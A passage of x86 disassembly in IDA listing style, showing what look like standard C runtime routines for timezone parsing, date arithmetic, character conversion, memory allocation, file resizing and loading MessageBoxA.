sub_42094E+D1j ; sub_42094E+D7j mov eax, off_43BFFC and byte ptr [eax], 0 loc_420A3A: ; CODE XREF: sub_42094E+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43C000 push ebx push offset dword_48A280 push edi push dword_48A0B8 call esi test eax, eax jz loc_420B9E cmp [esp+14h+var_4], ebp jnz loc_420B9E mov eax, off_43C000 and byte ptr [eax+3Fh], 0 jmp loc_420BA6 ; --------------------------------------------------------------------------- loc_420A77: ; CODE XREF: sub_42094E+2Dj cmp byte ptr [esi], 0 jz loc_420BA6 mov eax, dword_48A2D4 cmp eax, ebp jz short loc_420A9A push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_420BA6 loc_420A9A: ; CODE XREF: sub_42094E+139j push dword_48A2D4 call sub_417C3B push esi call sub_417AB0 inc eax push eax call sub_417B89 add esp, 0Ch cmp eax, ebp mov dword_48A2D4, eax jz loc_420BA6 push esi push eax call sub_4179C0 push 3 push esi push off_43BFFC call sub_418C10 mov eax, off_43BFFC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_420AEF push 1 inc esi pop edi loc_420AEF: ; CODE XREF: sub_42094E+19Bj push esi call sub_417794 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43BF70, ecx loc_420B06: ; CODE XREF: sub_42094E+1C7j mov al, [esi] cmp al, 2Bh jz short loc_420B14 cmp al, bl jl short loc_420B17 cmp al, 39h jg short loc_420B17 loc_420B14: ; CODE XREF: sub_42094E+1BCj inc esi jmp short loc_420B06 ; --------------------------------------------------------------------------- loc_420B17: ; CODE XREF: sub_42094E+1C0j ; sub_42094E+1C4j cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 imul eax, 3Ch pop ecx mov ecx, dword_43BF70 add ecx, eax mov dword_43BF70, ecx loc_420B35: ; CODE XREF: sub_42094E+1F2j mov al, [esi] cmp al, bl jl short loc_420B42 cmp al, 39h jg short loc_420B42 inc esi jmp short loc_420B35 ; --------------------------------------------------------------------------- loc_420B42: ; CODE XREF: sub_42094E+1EBj ; sub_42094E+1EFj cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 pop ecx mov ecx, dword_43BF70 add ecx, eax mov dword_43BF70, ecx loc_420B5D: ; CODE XREF: sub_42094E+21Aj mov al, [esi] cmp al, bl jl short loc_420B6A cmp al, 39h jg short loc_420B6A inc esi jmp short loc_420B5D ; --------------------------------------------------------------------------- loc_420B6A: ; CODE XREF: sub_42094E+1CCj ; sub_42094E+1F7j ... cmp edi, ebp jz short loc_420B76 neg ecx mov dword_43BF70, ecx loc_420B76: ; CODE XREF: sub_42094E+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43BF74, eax jz short loc_420B9E push 3 push esi push off_43C000 call sub_418C10 mov eax, off_43C000 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_420BA6 ; --------------------------------------------------------------------------- loc_420B9E: ; CODE XREF: sub_42094E+10Bj ; sub_42094E+115j ... mov eax, off_43C000 and byte ptr [eax], 0 loc_420BA6: ; CODE XREF: sub_42094E+40j ; sub_42094E+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_42094E endp ; =============== S U B R O U T I N E ======================================= sub_420BAC proc near ; CODE XREF: sub_41D609+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43BF74, edi jnz short loc_420BC0 loc_420BB9: ; CODE XREF: sub_420BAC+148j ; sub_420BAC+150j ... xor eax, eax jmp loc_420D0C ; --------------------------------------------------------------------------- loc_420BC0: ; CODE XREF: sub_420BAC+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43C008 jnz short loc_420BDE cmp eax, dword_43C018 jz loc_420CE0 loc_420BDE: ; CODE XREF: sub_420BAC+24j cmp dword_48A220, edi jz loc_420CB6 movzx ecx, word_48A2CE push ecx cmp word_48A2C0, di movzx ecx, word_48A2CC push ecx movzx ecx, word_48A2CA push ecx movzx ecx, word_48A2C8 push ecx jnz short loc_420C30 movzx ecx, word_48A2C4 push edi push ecx movzx ecx, word_48A2C6 push ecx movzx ecx, word_48A2C2 push ecx push eax push ebx jmp short loc_420C44 ; --------------------------------------------------------------------------- loc_420C30: ; CODE XREF: sub_420BAC+65j movzx ecx, word_48A2C6 push ecx push edi movzx ecx, word_48A2C2 push edi push ecx push eax push edi loc_420C44: ; CODE XREF: sub_420BAC+82j push ebx call sub_420D58 movzx eax, word_48A27A add esp, 2Ch cmp word_48A26C, di push eax movzx eax, word_48A278 push eax movzx eax, word_48A276 push eax movzx eax, word_48A274 push eax jnz short loc_420C9E movzx eax, word_48A270 push edi push eax movzx eax, word_48A272 push eax movzx eax, word_48A26E push eax push dword ptr [esi+14h] push ebx loc_420C93: ; CODE XREF: sub_420BAC+108j push edi call sub_420D58 add esp, 2Ch jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420C9E: ; CODE XREF: sub_420BAC+C8j movzx eax, word_48A272 push eax push edi movzx eax, word_48A26E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_420C93 ; --------------------------------------------------------------------------- loc_420CB6: ; CODE XREF: sub_420BAC+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_420D58 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_420D58 add esp, 58h loc_420CE0: ; CODE XREF: sub_420BAC+2Cj ; sub_420BAC+F0j mov edx, dword_43C00C mov eax, dword_43C01C mov ecx, [esi+1Ch] cmp edx, eax jge short loc_420D10 cmp ecx, edx jl loc_420BB9 cmp ecx, eax jg loc_420BB9 cmp ecx, edx jle short loc_420D24 cmp ecx, eax jge short loc_420D24 loc_420D0A: ; CODE XREF: sub_420BAC+166j ; sub_420BAC+16Aj mov eax, ebx loc_420D0C: ; CODE XREF: sub_420BAC+Fj ; sub_420BAC+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_420D10: ; CODE XREF: sub_420BAC+144j cmp ecx, eax jl short loc_420D0A cmp ecx, edx jg short loc_420D0A cmp ecx, eax jle short loc_420D24 cmp ecx, edx jl loc_420BB9 loc_420D24: ; CODE XREF: sub_420BAC+158j ; sub_420BAC+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_420D4B xor ecx, ecx cmp eax, dword_43C010 setnl cl loc_420D47: ; CODE XREF: sub_420BAC+1AAj mov eax, ecx jmp short loc_420D0C ; --------------------------------------------------------------------------- loc_420D4B: ; CODE XREF: sub_420BAC+18Ej xor ecx, ecx cmp eax, dword_43C020 setl cl jmp short loc_420D47 sub_420BAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D58 proc near ; CODE XREF: sub_420BAC+99p ; sub_420BAC+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_420DF3 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_420D83 shl esi, 2 mov eax, dword_43C020[esi] jmp short loc_420D8C ; --------------------------------------------------------------------------- loc_420D83: ; CODE XREF: sub_420D58+1Ej shl esi, 2 mov eax, dword_43C054[esi] loc_420D8C: ; CODE XREF: sub_420D58+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_420DC6 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_420DD0 ; --------------------------------------------------------------------------- loc_420DC6: ; CODE XREF: sub_420D58+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_420DD0: ; CODE XREF: sub_420D58+6Cj cmp [ebp+arg_10], 5 jnz short loc_420E0E cmp [ebp+arg_8], 0 jnz short loc_420DE4 mov esi, dword_43C024[esi] jmp short loc_420DEA ; --------------------------------------------------------------------------- loc_420DE4: ; CODE XREF: sub_420D58+82j mov esi, dword_43C058[esi] loc_420DEA: ; CODE XREF: sub_420D58+8Aj cmp ecx, esi jle short loc_420E0E sub ecx, 7 jmp short loc_420E0E ; --------------------------------------------------------------------------- loc_420DF3: ; CODE XREF: sub_420D58+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_420E04 mov ecx, dword_43C020[eax*4] jmp short loc_420E0B ; --------------------------------------------------------------------------- loc_420E04: ; CODE XREF: sub_420D58+A1j mov ecx, dword_43C054[eax*4] loc_420E0B: ; CODE XREF: sub_420D58+AAj add ecx, [ebp+arg_18] loc_420E0E: ; CODE XREF: sub_420D58+7Cj ; sub_420D58+94j ... cmp [ebp+arg_0], 1 jnz short loc_420E3F mov eax, [ebp+arg_1C] mov dword_43C00C, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43C008, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43C010, eax jmp short loc_420E94 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420D58+BAj mov eax, [ebp+arg_1C] mov dword_43C01C, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43BF78 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43C020, eax jns short loc_420E77 add eax, 5265C00h dec ecx mov dword_43C020, eax jmp short loc_420E88 ; --------------------------------------------------------------------------- loc_420E77: ; CODE XREF: sub_420D58+110j mov edx, 5265C00h cmp eax, edx jl short loc_420E8E sub eax, edx inc ecx mov dword_43C020, eax loc_420E88: ; CODE XREF: sub_420D58+11Dj mov dword_43C01C, ecx loc_420E8E: ; CODE XREF: sub_420D58+126j mov dword_43C018, ebx loc_420E94: ; CODE XREF: sub_420D58+E5j pop esi pop ebx pop ebp retn sub_420D58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E98 proc near ; CODE XREF: sub_41D797+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_420EBB cmp [ebp+arg_8], ebx jz short loc_420EBB mov al, [esi] cmp al, bl jnz short loc_420EC1 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_420EBB mov [eax], bx loc_420EBB: ; CODE XREF: sub_420E98+Cj ; sub_420E98+11j ... xor eax, eax loc_420EBD: ; CODE XREF: sub_420E98+42j ; sub_420E98+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_420EC1: ; CODE XREF: sub_420E98+17j cmp dword_48A0A8, ebx jnz short loc_420EDC mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_420ED7 movzx ax, al mov [ecx], ax loc_420ED7: ; CODE XREF: sub_420E98+36j ; sub_420E98+C0j push 1 pop eax jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420EDC: ; CODE XREF: sub_420E98+2Fj mov ecx, off_4395A0 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420F39 mov eax, dword_4397AC cmp eax, 1 jle short loc_420F20 cmp [ebp+arg_8], eax jl short loc_420F2A xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_48A0B8 nop call near ptr 2610000h test eax, eax mov eax, dword_4397AC jnz short loc_420EBD loc_420F20: ; CODE XREF: sub_420E98+5Cj cmp [ebp+arg_8], eax jb short loc_420F2A cmp [esi+1], bl jnz short loc_420EBD loc_420F2A: ; CODE XREF: sub_420E98+61j ; sub_420E98+8Bj ... mov dword_48A014, 2Ah or eax, 0FFFFFFFFh jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420F39: ; CODE XREF: sub_420E98+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_48A0B8 nop call near ptr 2610000h test eax, eax jnz loc_420ED7 jmp short loc_420F2A sub_420E98 endp ; =============== S U B R O U T I N E ======================================= sub_420F60 proc near ; CODE XREF: sub_41D797+76p ; sub_41D797+88p ... arg_0 = dword ptr 4 cmp dword_4397AC, 1 jle short loc_420F77 push 8 push [esp+4+arg_0] call sub_41A642 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_420F77: ; CODE XREF: sub_420F60+7j mov eax, [esp+arg_0] mov ecx, off_4395A0 mov al, [ecx+eax*2] and eax, 8 retn sub_420F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420F90 proc near ; CODE XREF: sub_41D797+797p ; sub_41D797+7E7p cmp cl, 40h jnb short loc_420FAA cmp cl, 20h jnb short loc_420FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_420FA0: ; CODE XREF: sub_420F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_420FAA: ; CODE XREF: sub_420F90+3j xor eax, eax xor edx, edx retn sub_420F90 endp ; =============== S U B R O U T I N E ======================================= sub_420FAF proc near ; CODE XREF: sub_41E20D+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_420FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_420FCD test al, 80h jz short loc_420FFB test al, 2 jnz short loc_420FFB loc_420FCD: ; CODE XREF: sub_420FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_420FDA push esi call sub_41F9D8 pop ecx loc_420FDA: ; CODE XREF: sub_420FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_420FEA cmp dword ptr [esi+4], 0 jnz short loc_420FFB inc eax mov [esi], eax loc_420FEA: ; CODE XREF: sub_420FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_421001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_421007 inc eax mov [esi], eax loc_420FFB: ; CODE XREF: sub_420FAF+9j ; sub_420FAF+18j ... or eax, 0FFFFFFFFh loc_420FFE: ; CODE XREF: sub_420FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_421001: ; CODE XREF: sub_420FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_421007: ; CODE XREF: sub_420FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_420FFE sub_420FAF endp ; =============== S U B R O U T I N E ======================================= sub_42101D proc near ; CODE XREF: ___:0041F15Ap arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_42102E add esp, 0Ch retn sub_42101D endp ; =============== S U B R O U T I N E ======================================= sub_42102E proc near ; CODE XREF: sub_42101D+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_48B561[eax], cl jnz short loc_42105B cmp [esp+arg_4], 0 jz short loc_421054 movzx eax, word_4395AA[eax*2] and eax, [esp+arg_4] jmp short loc_421056 ; --------------------------------------------------------------------------- loc_421054: ; CODE XREF: sub_42102E+16j xor eax, eax loc_421056: ; CODE XREF: sub_42102E+24j test eax, eax jnz short loc_42105B retn ; --------------------------------------------------------------------------- loc_42105B: ; CODE XREF: sub_42102E+Fj ; sub_42102E+2Aj push 1 pop eax retn sub_42102E endp ; =============== S U B R O U T I N E ======================================= sub_42105F proc near ; CODE XREF: sub_41F885+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_48A2DC, ebx push esi push edi jnz short loc_4210AE push offset aUser32_dll ; "user32.dll" nop call near ptr 26D0C95h mov edi, eax cmp edi, ebx jz short loc_4210E4 mov esi, dword_4240DC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_48A2DC, eax jz short loc_4210E4 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_48A2E0, eax call esi mov dword_48A2E4, eax loc_4210AE: ; CODE XREF: sub_42105F+Bj mov eax, dword_48A2E0 test eax, eax jz short loc_4210CD call eax mov ebx, eax test ebx, ebx jz short loc_4210CD mov eax, dword_48A2E4 test eax, eax jz short loc_4210CD push ebx call eax mov ebx, eax loc_4210CD: ; CODE XREF: sub_42105F+56j ; sub_42105F+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_48A2DC loc_4210E0: ; CODE XREF: sub_42105F+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4210E4: ; CODE XREF: sub_42105F+1Cj ; sub_42105F+33j xor eax, eax jmp short loc_4210E0 sub_42105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210E8 proc near ; CODE XREF: sub_41FA42+22p ; sub_41FA42+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_421109 test esi, esi jnz short loc_421103 push 1 pop esi loc_421103: ; CODE XREF: sub_4210E8+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_421109: ; CODE XREF: sub_4210E8+12j ; sub_4210E8+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_421168 mov eax, dword_48B688 cmp eax, 3 jnz short loc_421134 mov eax, [ebp+arg_0] cmp eax, dword_48B680 ja short loc_421153 push eax call sub_41B0DD mov edi, eax pop ecx test edi, edi jnz short loc_42117E jmp short loc_421153 ; --------------------------------------------------------------------------- loc_421134: ; CODE XREF: sub_4210E8+30j cmp eax, 2 jnz short loc_421153 cmp esi, dword_43B7E4 ja short loc_421153 mov eax, esi shr eax, 4 push eax call sub_41BB80 mov edi, eax pop ecx test edi, edi jnz short loc_421192 loc_421153: ; CODE XREF: sub_4210E8+3Bj ; sub_4210E8+4Aj ... push esi push 8 push dword_48B684 nop call near ptr 26F0000h mov edi, eax test edi, edi jnz short loc_42118C loc_421168: ; CODE XREF: sub_4210E8+26j cmp dword_48A074, 0 jz short loc_42118C push esi call sub_41AB54 test eax, eax pop ecx jz short loc_421195 jmp short loc_421109 ; --------------------------------------------------------------------------- loc_42117E: ; CODE XREF: sub_4210E8+48j push [ebp+arg_0] loc_421181: ; CODE XREF: sub_4210E8+ABj push 0 push edi call sub_417330 add esp, 0Ch loc_42118C: ; CODE XREF: sub_4210E8+7Ej ; sub_4210E8+87j mov eax, edi loc_42118E: ; CODE XREF: sub_4210E8+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_421192: ; CODE XREF: sub_4210E8+69j push esi jmp short loc_421181 ; --------------------------------------------------------------------------- loc_421195: ; CODE XREF: sub_4210E8+92j xor eax, eax jmp short loc_42118E sub_4210E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41FAE7 loc_421199: ; CODE XREF: sub_41FAE7+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_48B320, esi jle short loc_4211EC loc_4211A8: ; CODE XREF: sub_41FAE7+1703j mov eax, dword_48A310 mov eax, [eax+esi*4] test eax, eax jz short loc_4211E3 test byte ptr [eax+0Ch], 83h jz short loc_4211C7 push eax call sub_417900 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4211C7 inc edi loc_4211C7: ; CODE XREF: sub_41FAE7+16D1j ; sub_41FAE7+16DDj cmp esi, 14h jl short loc_4211E3 mov eax, dword_48A310 push dword ptr [eax+esi*4] call sub_417C3B mov eax, dword_48A310 pop ecx and dword ptr [eax+esi*4], 0 loc_4211E3: ; CODE XREF: sub_41FAE7+16CBj ; sub_41FAE7+16E3j inc esi cmp esi, dword_48B320 jl short loc_4211A8 loc_4211EC: ; CODE XREF: sub_41FAE7+16BFj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41FAE7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4211F1 proc near ; CODE XREF: sub_41FEC6+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_417B30 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_48B440 jnb loc_421326 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_48B340[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_421326 push 1 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_421330 push 2 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_421330 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_4212D3 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_417330 push 8000h push ebx call sub_421E2B add esp, 14h mov [ebp+arg_4], eax loc_421287: ; CODE XREF: sub_4211F1+BDj mov eax, 1000h cmp edi, eax jge short loc_421292 mov eax, edi loc_421292: ; CODE XREF: sub_4211F1+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4212B0 sub edi, eax test edi, edi jle short loc_4212C6 jmp short loc_421287 ; --------------------------------------------------------------------------- loc_4212B0: ; CODE XREF: sub_4211F1+B5j cmp dword_48A018, 5 jnz short loc_4212C3 mov dword_48A014, 0Dh loc_4212C3: ; CODE XREF: sub_4211F1+C6j or esi, 0FFFFFFFFh loc_4212C6: ; CODE XREF: sub_4211F1+BBj push [ebp+arg_4] push ebx call sub_421E2B pop ecx pop ecx jmp short loc_421313 ; --------------------------------------------------------------------------- loc_4212D3: ; CODE XREF: sub_4211F1+71j jge short loc_421313 push 0 push [ebp+arg_4] push ebx call sub_41E517 push ebx call sub_41FE32 add esp, 10h push eax nop call near ptr 25A0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_421313 mov dword_48A014, 0Dh call near ptr 2630313h nop mov dword_48A018, eax loc_421313: ; CODE XREF: sub_4211F1+E0j ; sub_4211F1:loc_4212D3j ... push 0 push [ebp+arg_0] push ebx call sub_41E517 add esp, 0Ch mov eax, esi pop edi jmp short loc_421333 ; --------------------------------------------------------------------------- loc_421326: ; CODE XREF: sub_4211F1+1Aj ; sub_4211F1+36j mov dword_48A014, 9 loc_421330: ; CODE XREF: sub_4211F1+4Ej ; sub_4211F1+63j or eax, 0FFFFFFFFh loc_421333: ; CODE XREF: sub_4211F1+133j pop esi pop ebx leave retn sub_4211F1 endp ; =============== S U B R O U T I N E ======================================= sub_421337 proc near ; CODE XREF: sub_420331+2Bp ; sub_420331+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_42134D cmp ecx, esi jnb short loc_421350 loc_42134D: ; CODE XREF: sub_421337+10j push 1 pop eax loc_421350: ; CODE XREF: sub_421337+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_421337 endp ; =============== S U B R O U T I N E ======================================= sub_421358 proc near ; CODE XREF: sub_421411+40p ; sub_421411+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A inc dword ptr [esi+8] loc_42138A: ; CODE XREF: sub_421358+19j ; sub_421358+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_4213A2 inc dword ptr [esi+8] loc_4213A2: ; CODE XREF: sub_421358+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_421337 add esp, 0Ch pop edi pop esi retn sub_421358 endp ; =============== S U B R O U T I N E ======================================= sub_4213B6 proc near ; CODE XREF: sub_421411+30p ; sub_421411+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4213B6 endp ; =============== S U B R O U T I N E ======================================= sub_4213E4 proc near ; CODE XREF: sub_4219A9+1C8p ; sub_421EA1+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4213E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421411 proc near ; CODE XREF: sub_4214D8+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_421485 push edi mov [ebp+arg_8], eax loc_421438: ; CODE XREF: sub_421411+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4213B6 push ebx call sub_4213B6 lea eax, [ebp+var_10] push eax push ebx call sub_421358 push ebx call sub_4213B6 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_421358 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_421438 xor edx, edx pop edi loc_421485: ; CODE XREF: sub_421411+21j ; sub_421411+9Fj cmp [ebx+8], edx jnz short loc_4214B2 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_421485 ; --------------------------------------------------------------------------- loc_4214B2: ; CODE XREF: sub_421411+77j mov esi, 8000h loc_4214B7: ; CODE XREF: sub_421411+B9j test [ebx+8], esi jnz short loc_4214CC push ebx call sub_4213B6 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4214B7 ; --------------------------------------------------------------------------- loc_4214CC: ; CODE XREF: sub_421411+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_421411 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4214D8 proc near ; CODE XREF: sub_42067A+17p ; sub_4206A7+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_421513: ; CODE XREF: sub_4214D8+52j mov cl, [edi] cmp cl, 20h jz short loc_421529 cmp cl, 9 jz short loc_421529 cmp cl, 0Ah jz short loc_421529 cmp cl, 0Dh jnz short loc_42152C loc_421529: ; CODE XREF: sub_4214D8+40j ; sub_4214D8+45j ... inc edi jmp short loc_421513 ; 